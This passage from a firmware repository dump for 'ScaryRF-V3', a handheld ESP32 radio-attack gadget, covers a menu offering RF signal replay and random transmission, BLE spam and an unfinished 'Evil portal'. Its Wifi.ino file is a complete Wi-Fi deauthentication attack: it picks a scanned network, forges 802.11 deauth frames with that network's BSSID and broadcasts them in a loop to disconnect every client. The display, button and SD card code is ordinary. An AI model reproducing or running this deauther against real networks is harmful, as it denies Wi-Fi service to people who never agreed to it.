0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n                                     0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n                                     0xFF, 0xFF, 0xFF,\n                                   };\n\n// ==================== ESTRUTURA DO MENU ====================\n#define ICON_WIDTH 32\n#define ICON_HEIGHT 32\n#define ICON_GAP 4\n#define ICON_Y 32 + ICON_GAP\n\nstruct menu_entry_type {\n  const uint8_t *font;\n  uint16_t icon;\n  const char *name;\n  const menu_entry_type *submenu;\n};\n\nstruct menu_state {\n  uint8_t position;\n  const menu_entry_type *menu;\n};\n\n// ==================== SUBMENUS ====================\nconst menu_entry_type radio_freq_submenu[] = {\n  { u8g2_font_open_iconic_all_4x_t, 211, \"Replay\", NULL },\n  { u8g2_font_open_iconic_all_4x_t, 238, \"Raw\", NULL },\n  { u8g2_font_open_iconic_all_4x_t, 165, \"Analyser\", NULL },\n  { u8g2_font_open_iconic_all_4x_t, 240, \"Random\", NULL },\n  { NULL, 0, NULL, NULL }\n};\n\nconst menu_entry_type wifi_submenu[] = {\n  { u8g2_font_open_iconic_all_4x_t, 104, \"Evil portal\", NULL },\n  { u8g2_font_open_iconic_all_4x_t, 153, \"Deauther\", NULL },\n  { u8g2_font_open_iconic_all_4x_t, 175, \"Internet\", NULL },\n  { NULL, 0, NULL, NULL }\n};\n\nconst menu_entry_type bluetooth_submenu[] = {\n  { u8g2_font_open_iconic_all_4x_t, 230, \"BLE Spam\", NULL },\n  { NULL, 0, NULL, NULL }\n};\n\nconst menu_entry_type menu_entry_list[] = {\n  { u8g2_font_open_iconic_all_4x_t, 84, \"Radio Freq\", radio_freq_submenu },\n  { u8g2_font_open_iconic_all_4x_t, 247, \"Wifi\", wifi_submenu },\n  { u8g2_font_open_iconic_all_4x_t, 94, \"Bluetooth\", bluetooth_submenu },\n  { u8g2_font_open_iconic_all_4x_t, 129, \"Config\", NULL },\n  { NULL, 0, NULL, NULL }\n};\n\nmenu_state current_state = { 0, menu_entry_list };\n\n// ==================== CLASSE DE DEBOUNCE ====================\nclass Button {\n  private:\n    uint8_t pin;\n    unsigned long lastDebounceTime = 0;\n    bool lastState = HIGH;\n    bool currentState = HIGH;\n\n  public:\n    Button(uint8_t p) : pin(p) {\n      pinMode(pin, INPUT_PULLUP);\n    }\n\n    bool isPressed() {\n      bool reading = digitalRead(pin);\n\n      if (reading != lastState) {\n        lastDebounceTime = millis();\n      }\n\n      if ((millis() - lastDebounceTime) > DEBOUNCE_DELAY) {\n        if (reading != currentState) {\n          currentState = reading;\n          lastState = reading;\n          return (currentState == LOW);\n        }\n      }\n\n      lastState = reading;\n      return false;\n    }\n\n    bool isHeld() {\n      return digitalRead(pin) == LOW;\n    }\n};\n\n// ==================== INSTÂNCIAS DOS BOTÕES ====================\nButton btnSwitch(FREQUENCY_SWITCH_PIN);\nButton btnUp(BTN_UP);\nButton btnLeft(BTN_LEFT);\nButton btnDown(BTN_DOWN);\nButton btnOk(BTN_OK);\nButton btnRight(BTN_RIGHT);\n\n// ==================== FUNÇÕES DE DISPLAY ====================\nvoid displayInit() {\n  u8g2.begin();\n  u8g2.enableUTF8Print();\n  u8g2.setFlipMode(3);\n  u8g2.setFont(u8g2_font_6x10_tf);\n}\n\nvoid drawMenu(menu_state *state) {\n  static unsigned long lastUpdate = 0;\n  if (millis() - lastUpdate < DISPLAY_UPDATE_INTERVAL) return;\n  lastUpdate = millis();\n\n  int16_t x = (u8g2.getDisplayWidth() - ICON_WIDTH) / 2;\n  uint8_t i = state->position;\n\n  u8g2.clearBuffer();\n  u8g2.setFont(state->menu[i].font);\n  u8g2.drawGlyph(x, ICON_Y, state->menu[i].icon);\n\n  for (int j = 1; j <= 3; j++) {\n    u8g2.drawFrame(x - j, ICON_Y - ICON_HEIGHT - j, ICON_WIDTH + 2 * j, ICON_HEIGHT + 2 * j);\n  }\n\n  u8g2.setFont(u8g2_font_6x10_tf);\n  u8g2.setCursor((u8g2.getDisplayWidth() - u8g2.getStrWidth(state->menu[i].name)) / 2,\n                 u8g2.getDisplayHeight() - 5);\n  u8g2.print(state->menu[i].name);\n  u8g2.sendBuffer();\n}\n\nvoid showMessage(const char* line1, const char* line2 = NULL, const char* line3 = NULL) {\n  u8g2.clearBuffer();\n  u8g2.setCursor(0, 20);\n  u8g2.print(line1);\n  if (line2) {\n    u8g2.setCursor(0, 35);\n    u8g2.print(line2);\n  }\n  if (line3) {\n    u8g2.setCursor(0, 50);\n    u8g2.print(line3);\n  }\n  u8g2.sendBuffer();\n}\n\n// ==================== SETUP DE MÓDULOS ====================\nvoid setupDisplay() {\n  Serial.println(F(\"Init Display...\"));\n  displayInit();\n  u8g2.drawStr(0, 20, \"Display OK!\");\n  u8g2.sendBuffer();\n  delay(500);\n}\n\nvoid setupCC1101() {\n  Serial.println(F(\"Init CC1101...\"));\n\n  if (!ELECHOUSE_cc1101.getCC1101()) {\n    Serial.println(F(\"ERROR: CC1101 not found!\"));\n    showMessage(\"ERROR:\", \"CC1101 not found!\");\n    while (1) delay(1000);\n  }\n\n  ELECHOUSE_cc1101.Init();\n  rfData.mhz = (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) ? 315.00 : 433.92;\n  ELECHOUSE_cc1101.setMHZ(rfData.mhz);\n  ELECHOUSE_cc1101.SetRx();\n\n  mySwitch.enableReceive(RX_PIN);\n  mySwitch.enableTransmit(TX_PIN);\n\n  Serial.println(F(\"CC1101 OK!\"));\n  u8g2.drawStr(0, 30, \"CC1101 OK!\");\n  u8g2.sendBuffer();\n  delay(500);\n}\n\n// ==================== MÁQUINA DE ESTADOS ====================\nvoid handleMenuNavigation() {\n  if (btnRight.isPressed() && current_state.menu[current_state.position + 1].font != NULL) {\n    current_state.position++;\n    drawMenu(&current_state);\n  }\n\n  if (btnLeft.isPressed() && current_state.position > 0) {\n    current_state.position--;\n    drawMenu(&current_state);\n  }\n\n  if (btnOk.isPressed()) {\n    if (current_state.menu[current_state.position].submenu != NULL) {\n      current_state.menu = current_state.menu[current_state.position].submenu;\n      current_state.position = 0;\n      drawMenu(&current_state);\n    } else {\n      const char* name = current_state.menu[current_state.position].name;\n      if (strcmp(name, \"Replay\") == 0) currentSystemState = STATE_RF_REPLAY;\n      else if (strcmp(name, \"Raw\") == 0) currentSystemState = STATE_RF_RAW;\n      else if (strcmp(name, \"Analyser\") == 0) currentSystemState = STATE_RF_ANALYSER;\n      else if (strcmp(name, \"Random\") == 0) currentSystemState = STATE_RF_RANDOM;\n      else if (strcmp(name, \"BLE Spam\") == 0) currentSystemState = STATE_BLE_SPAM;\n      else if (strcmp(name, \"Deauther\") == 0) currentSystemState = STATE_WIFI_DEAUTH;\n      else if (strcmp(name, \"Evil portal\") == 0) currentSystemState = STATE_WIFI_EVIL_PORTAL;\n    }\n  }\n\n  if (btnUp.isPressed() && current_state.menu != menu_entry_list) {\n    current_state.menu = menu_entry_list;\n    current_state.position = 0;\n    drawMenu(&current_state);\n  }\n}\n\nvoid executeState() {\n  switch (currentSystemState) {\n    case STATE_RF_REPLAY:\n      Detect();\n      currentSystemState = STATE_MENU;\n      drawMenu(&current_state);\n      break;\n    case STATE_RF_RAW:\n      Raw();\n      currentSystemState = STATE_MENU;\n      drawMenu(&current_state);\n      break;\n    case STATE_RF_ANALYSER:\n      Analyser();\n      currentSystemState = STATE_MENU;\n      drawMenu(&current_state);\n      break;\n    case STATE_RF_RANDOM:\n      SendRandom();\n      currentSystemState = STATE_MENU;\n      drawMenu(&current_state);\n      break;\n    case STATE_BLE_SPAM:\n      Blesetup();\n      Bleloop();\n      currentSystemState = STATE_MENU;\n      drawMenu(&current_state);\n      break;\n    case STATE_WIFI_DEAUTH:\n      Deauther();\n      currentSystemState = STATE_MENU;\n      drawMenu(&current_state);\n      break;\n    case STATE_WIFI_EVIL_PORTAL:\n      showMessage(\"In progress...\");\n      delay(2000);\n      currentSystemState = STATE_MENU;\n      drawMenu(&current_state);\n      break;\n    case STATE_MENU:\n    default: handleMenuNavigation();\n      break;\n  }\n}\n\n// ==================== SETUP PRINCIPAL ====================\nvoid setup() {\n  Serial.begin(115200);\n  delay(500);\n  Serial.println(F(\"\\n\\n=== ScaryRF Starting ===\"));\n\n  pinMode(FREQUENCY_SWITCH_PIN, INPUT_PULLUP);\n\n  setupDisplay();\n  setupCC1101();\n  initSD();\n\n  // Tela inicial\n  u8g2.clearBuffer();\n  u8g2.firstPage();\n  do {\n    u8g2.drawXBMP(0, 0, scary_width, scary_height, scary_bits);\n  }\n  while (u8g2.nextPage());\n\n  // Aguarda qualquer botão\n  while (!btnOk.isPressed() && !btnRight.isPressed() &&\n         !btnLeft.isPressed() && !btnUp.isPressed() && !btnDown.isPressed()) delay(10);\n\n  Serial.println(F(\"Setup complete!\"));\n}\n\n// ==================== LOOP PRINCIPAL ====================\nvoid loop() {\n  executeState();\n  delay(10);\n}\n"
  },
  {
    "path": "ScaryRF-V3/SdCard.ino",
    "content": "\n// ================= SD INIT =================\nvoid initSD() {\n  hspi.begin(SD_SCK, SD_MISO, SD_MOSI, SD_CS);\n  if (!SD.begin(SD_CS, hspi)) {\n    u8g2.clearBuffer();\n    u8g2.drawStr(0, 40, \"SD FAIL\");\n    u8g2.sendBuffer();\n    while (1);\n  }\n  u8g2.drawStr(0, 40, \"SD CARD OK!..\");\n  u8g2.sendBuffer();\n  delay(500);\n  SD.mkdir(\"/Subghz\");\n}\n\n// ================= EDITOR DE NOME =================\nchar signalName[13];\nint namePos = 0;\nint charIndex = 0;\nconst char charset[] = \" ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-\";\n\n\nbool editSignalName() {\n  memset(signalName, 0, sizeof(signalName));\n  namePos = 0;\n  charIndex = 0;\n\n\n  while (true) {\n    u8g2.clearBuffer();\n    u8g2.drawStr(0, 10, \"Name:\");\n    u8g2.drawStr(0, 25, signalName);\n    u8g2.drawStr(namePos * 6, 35, \"^\");\n    u8g2.drawStr(0, 55, \"UP/DN:Char  RT:Next  LF:Del\");\n    u8g2.sendBuffer();\n\n    if (btnUp.isPressed()) {\n      charIndex = (charIndex - 1 + sizeof(charset)) % sizeof(charset);\n      signalName[namePos] = charset[charIndex];\n      signalName[namePos + 1] = '\\0';\n    }\n    if (btnDown.isPressed()) {\n      charIndex = (charIndex + 1) % sizeof(charset);\n      signalName[namePos] = charset[charIndex];\n      signalName[namePos + 1] = '\\0';\n    }\n\n    // === AVANÇA POSIÇÃO ===\n    if (btnRight.isPressed() && namePos < 12) {\n      namePos++;\n      signalName[namePos] = charset[charIndex];\n      signalName[namePos + 1] = '\\0';\n    }\n    // === APAGA ===\n    if (btnLeft.isPressed() && namePos > 0) {\n      signalName[namePos] = '\\0';\n      namePos--;\n    }\n    // === CONFIRMA ===\n    if (btnOk.isPressed() && namePos >= 0) {\n      return true;\n    }\n    // === CANCELA (UP + LEFT) ===\n    if (digitalRead(BTN_UP) == LOW && digitalRead(BTN_LEFT) == LOW) {\n      return false;\n    }\n  }\n}\n\n// ================= SALVAR =================\nvoid saveSignal() {\n  if (!editSignalName()) return;\n\n\n  String path = String(\"/Subghz/\") + signalName + \".scrf\";\n  File f = SD.open(path, FILE_WRITE);\n  if (!f) return;\n\n\n  f.print(signalName);\n  f.print(\";\");\n  f.print(rfData.mhz, 2);\n  f.print(\";\");\n  f.print(rfData.receivedProtocol);\n  f.print(\";\");\n  f.print(rfData.receivedBitLength);\n  f.print(\";\");\n  f.println(rfData.receivedValue);\n  f.close();\n\n\n  showMessage(\"Saved!\");\n  delay(500);\n}\n\n//================ DELETE ===============\nbool deleteFile(String path) {\n  while (true) {\n    u8g2.clearBuffer();\n    u8g2.drawStr(0, 20, \"Delete file?\");\n    u8g2.drawStr(0, 35, \"OK = YES\");\n    u8g2.drawStr(0, 50, \"LEFT = NO\");\n    u8g2.sendBuffer();\n\n    if (btnOk.isPressed()) {\n      SD.remove(path);\n      showMessage(\"Deleted\");\n      delay(500);\n      return true;\n    }\n\n    if (btnLeft.isPressed()) {\n      return false;\n    }\n  }\n}\n"
  },
  {
    "path": "ScaryRF-V3/Wifi.ino",
    "content": "void Deauther() {\n  showMessage(\"WiFi Deauther\", \"In development...\");\n  delay(2000);\n\n  WiFi.mode(WIFI_STA);\n  esp_wifi_start();\n\n  int selectedNetwork = 0;\n  int networkCount = 0;\n  bool attacking = false;\n  unsigned long lastDebounce = 0;\n  const int debounceDelay = 200;\n\n  // Scan inicial\n  u8g2.clearBuffer();\n  u8g2.setCursor(0, 30);\n  u8g2.print(\"Scanning networks...\");\n  u8g2.sendBuffer();\n\n  WiFi.scanDelete();\n  networkCount = WiFi.scanNetworks(false, true); // passive=false, show_hidden=true\n\n  if (networkCount <= 0) {\n    u8g2.clearBuffer();\n    u8g2.setCursor(0, 30);\n    u8g2.print(\"No networks found\");\n    u8g2.sendBuffer();\n    delay(1500);\n    return;\n  }\n\n  // Loop principal\n  while (!btnUp.isPressed()) {\n    // Debounce básico para navegação\n    if (millis() - lastDebounce > debounceDelay) {\n      if (!attacking) {\n        // Navegação\n        if (btnRight.isPressed()) {\n          selectedNetwork = (selectedNetwork + 1) % networkCount;\n          lastDebounce = millis();\n        } else if (btnLeft.isPressed()) {\n          selectedNetwork = (selectedNetwork - 1 + networkCount) % networkCount;\n          lastDebounce = millis();\n        }\n\n        // Exibe rede selecionada\n        u8g2.clearBuffer();\n        u8g2.setCursor(0, 10);\n        u8g2.print(\"Select network:\");\n        u8g2.setCursor(0, 30);\n        u8g2.print(WiFi.SSID(selectedNetwork));\n        u8g2.setCursor(0, 50);\n        u8g2.print(\"OK:BTN  Back:UP\");\n        u8g2.sendBuffer();\n\n        // Inicia ataque\n        if (btnOk.isPressed()) {\n          attacking = true;\n\n          // Definir canal do alvo (necessário para enviar pacotes 802.11)\n          int targetChannel = WiFi.channel(selectedNetwork);\n          esp_wifi_set_channel(targetChannel, WIFI_SECOND_CHAN_NONE);\n          delay(10); // pequenas pausas após trocar canal\n        }\n      } else {\n        // Modo ataque: prepara o pacote de deautenticação\n        uint8_t deauthPacket[26] = {\n          0xC0, 0x00, 0x00, 0x00,             // Type/Subtype: Deauth\n          0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination (broadcast)\n          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Source (substituir)\n          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID (substituir)\n          0x00, 0x00,                         // Sequence number (will incrementar)\n          0x01, 0x00                          // Reason: Unspecified\n        };\n\n        // Copia BSSID (source + BSSID)\n        const uint8_t* bssid = WiFi.BSSID(selectedNetwork);\n        memcpy(&deauthPacket[10], bssid, 6);\n        memcpy(&deauthPacket[16], bssid, 6);\n\n        // Sequence control inicial\n        uint16_t seq = 0;\n\n        // Feedback visual\n        u8g2.clearBuffer();\n        u8g2.setCursor(0, 10);\n        u8g2.print(\"Attacking:\");\n        u8g2.setCursor(0, 30);\n        u8g2.print(WiFi.SSID(selectedNetwork));\n        u8g2.setCursor(0, 50);\n        u8g2.print(\"UP to stop\");\n        u8g2.sendBuffer();\n\n        // Loop de envio até o operador parar\n        while (!btnUp.isPressed()) {\n          // Envia pacote múltiplas vezes por \"rafaga\"\n          for (int i = 0; i < 10; i++) {\n            // Atualiza sequence control (2 bytes)\n            deauthPacket[22] = seq & 0xFF;\n            deauthPacket[23] = (seq >> 8) & 0x0F; // 4 bits de fragment, 12 bits de seq -> truncado para segurança\n            esp_wifi_80211_tx(WIFI_IF_STA, deauthPacket, sizeof(deauthPacket), false);\n            seq++;\n            delay(2); // pequeno gap para processamento\n          }\n\n          // Pequeno refresh do display para responsividade\n          u8g2.setCursor(80, 50);\n          u8g2.print(millis() / 1000); // tempo de ataque em segundos\n          u8g2.sendBuffer();\n\n          // Permite cancelar pelo botão (debounce)\n          if (btnUp.isPressed()) break;\n        }\n\n        // Parar ataque: restaura estado WiFi se quiser\n        attacking = false;\n        esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); // opcional: volta para canal 1\n        delay(100);\n      }\n    } // fim debounce\n    delay(10); // loop-friendly\n  } // fim while principal\n\n  // Cleanup opcional\n  esp_wifi_stop();\n  WiFi.mode(WIFI_OFF);\n  showMessage(\"Deauther\", \"Stopped\");\n  delay(800);\n}\n"
  }
]